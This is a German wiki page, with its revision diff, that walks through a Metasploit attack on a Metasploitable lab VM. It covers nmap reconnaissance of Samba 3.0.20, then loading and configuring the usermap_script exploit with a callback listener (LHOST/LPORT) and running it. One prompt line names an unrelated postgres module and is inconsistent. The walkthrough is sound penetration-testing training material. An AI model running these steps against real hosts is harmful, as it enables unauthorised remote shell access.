Metasploit smb exploit: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
=Gefundene Version= | =Gefundene Version= | ||
| + | *db_nmap -sV 10.0.10.105 | ||
;<nowiki>[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</nowiki> | ;<nowiki>[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</nowiki> | ||
| + | |||
=Die Information ist zu ungenau, wir bohren weiter= | =Die Information ist zu ungenau, wir bohren weiter= | ||
| − | * | + | *nmap -p139,445 --script smb-os-discovery 10.0.10.105 |
| − | + | <pre> | |
| − | * | + | [*] exec: nmap -p139,445 --script smb-os-discovery 10.0.10.105 |
| − | + | ||
| − | + | Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 15:07 +0200 | |
| + | Nmap scan report for metasploit.secure.local (10.0.10.105) | ||
| + | Host is up (0.00029s latency). | ||
| + | |||
| + | PORT STATE SERVICE | ||
| + | 139/tcp open netbios-ssn | ||
| + | 445/tcp open microsoft-ds | ||
| + | MAC Address: 08:00:27:A8:D5:D4 (Oracle VirtualBox virtual NIC) | ||
| + | |||
| + | Host script results: | ||
| + | | smb-os-discovery: | ||
| + | | OS: Unix (Samba 3.0.20-Debian) | ||
| + | | Computer name: metasploitable | ||
| + | | NetBIOS computer name: | ||
| + | | Domain name: localdomain | ||
| + | | FQDN: metasploitable.localdomain | ||
| + | |_ System time: 2026-06-25T09:07:15-04:00 | ||
| + | |||
| + | Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds | ||
| + | |||
| + | </pre> | ||
| + | |||
=Modul suchen= | =Modul suchen= | ||
*msf6 > search Samba 3.0.20 | *msf6 > search Samba 3.0.20 | ||
| Zeile 17: | Zeile 40: | ||
*msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101 | *msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101 | ||
*msf6 exploit(multi/samba/usermap_script) > set LPORT 4444 | *msf6 exploit(multi/samba/usermap_script) > set LPORT 4444 | ||
| − | *msf6 exploit(multi/samba/usermap_script) > set | + | *msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.10.105 |
*msf6 exploit(multi/samba/usermap_script) > set RPORT 139 | *msf6 exploit(multi/samba/usermap_script) > set RPORT 139 | ||
Aktuelle Version vom 25. Juni 2026, 13:08 Uhr
Gefundene Version
- db_nmap -sV 10.0.10.105
- [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Die Information ist zu ungenau, wir bohren weiter
- nmap -p139,445 --script smb-os-discovery 10.0.10.105
[*] exec: nmap -p139,445 --script smb-os-discovery 10.0.10.105 Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 15:07 +0200 Nmap scan report for metasploit.secure.local (10.0.10.105) Host is up (0.00029s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:A8:D5:D4 (Oracle VirtualBox virtual NIC) Host script results: | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: metasploitable | NetBIOS computer name: | Domain name: localdomain | FQDN: metasploitable.localdomain |_ System time: 2026-06-25T09:07:15-04:00 Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Modul suchen
- msf6 > search Samba 3.0.20
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Module laden
- msf6 > use 0
msf6 exploit(multi/samba/usermap_script) >
- msf6 exploit(/linux/postgres/postgres_payload) > info
Wir setzen LHOST, LPORT, RHOST und LHOST
- msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101
- msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
- msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.10.105
- msf6 exploit(multi/samba/usermap_script) > set RPORT 139
Und Attacke
- msf6 exploit(multi/samba/usermap_script) > run
- Es dauert ein bisschen